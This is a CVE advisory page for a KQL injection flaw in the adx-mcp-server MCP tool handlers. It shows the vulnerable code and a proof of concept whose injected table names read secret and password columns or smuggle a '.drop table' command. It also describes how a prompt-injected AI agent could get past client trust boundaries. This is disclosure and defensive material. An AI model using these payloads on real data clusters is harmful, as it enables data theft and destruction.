🛡️ CVE-2026-33980 — adx-mcp-server

🟠 CVSS 8.3 — High ✅ No Known Exploit CWE-943 NVD
8.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries

Summary

adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.

Details

The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:

Vulnerable code ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx_mcp_server/server.py#L228)):

```python

@mcp.tool(...)

async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:

client = get_kusto_client()

query = f"{table_name} | getschema" # <-- KQL injection

result_set = client.execute(config.database, query)

```

```python

@mcp.tool(...)

async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:

client = get_kusto_client()

query = f"{table_name} | sample {sample_size}" # <-- KQL injection

result_set = client.execute(config.database, query)

```

```python

@mcp.tool(...)

async def get_table_details(table_name: str) -> List[Dict[str, Any]]:

client = get_kusto_client()

query = f".show table {table_name} details" # <-- KQL injection

result_set = client.execute(config.database, query)

```

KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:

  • sensitive_table | project Secret, Password | take 100 // to read arbitrary tables
  • Newline-separated management commands like .drop table important_data via get_table_details
  • Arbitrary KQL analytics queries via any of the three tools

Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.

PoC

```python

# PoC: KQL Injection via get_table_schema tool

# The table_name parameter is injected into: f"{table_name} | getschema"

import json

# MCP tool call that exfiltrates data from a sensitive table

tool_call = {

"name": "get_table_schema",

"arguments": {

"table_name": "sensitive_data | project Secret, Password | take 100 //"

}

}

print(json.dumps(tool_call, indent=2))

# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"

# The // comments out "| getschema", executing an arbitrary data query instead

# Destructive example via get_table_details:

tool_call_destructive = {

"name": "get_table_details",

"arguments": {

"table_name": "users details\n.drop table critical_data"

}

}

# Resulting KQL:

# .show table users details

# .drop table critical_data details

```

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability low.

Weakness class

CVE-2026-33980 is classified as CWE-943: Improper Neutralization of Special Elements in Data Query Logic. The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

Affected software

CVE-2026-33980 is recorded against 2 packages.

  • adx-mcp-server
  • azure-data-explorer-mcp-server (fixed in 0.1.0)

Timeline and source

Published on 27 March 2026 and last revised on 13 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)

Details

Severity HIGH
CVSS Score 8.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
CWE CWE-943
Public Exploit ✅ No
Source NVD
Published 2026-03-27
Updated 2026-08-12
Modified 2026-07-13

Affected Packages

Software From version Fixed in
adx-mcp-server
azure-data-explorer-mcp-server 0.1.0

Site Security Check

Is adx-mcp-server part of your stack?

CVE-2026-33980 is rated CVSS 8.3 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026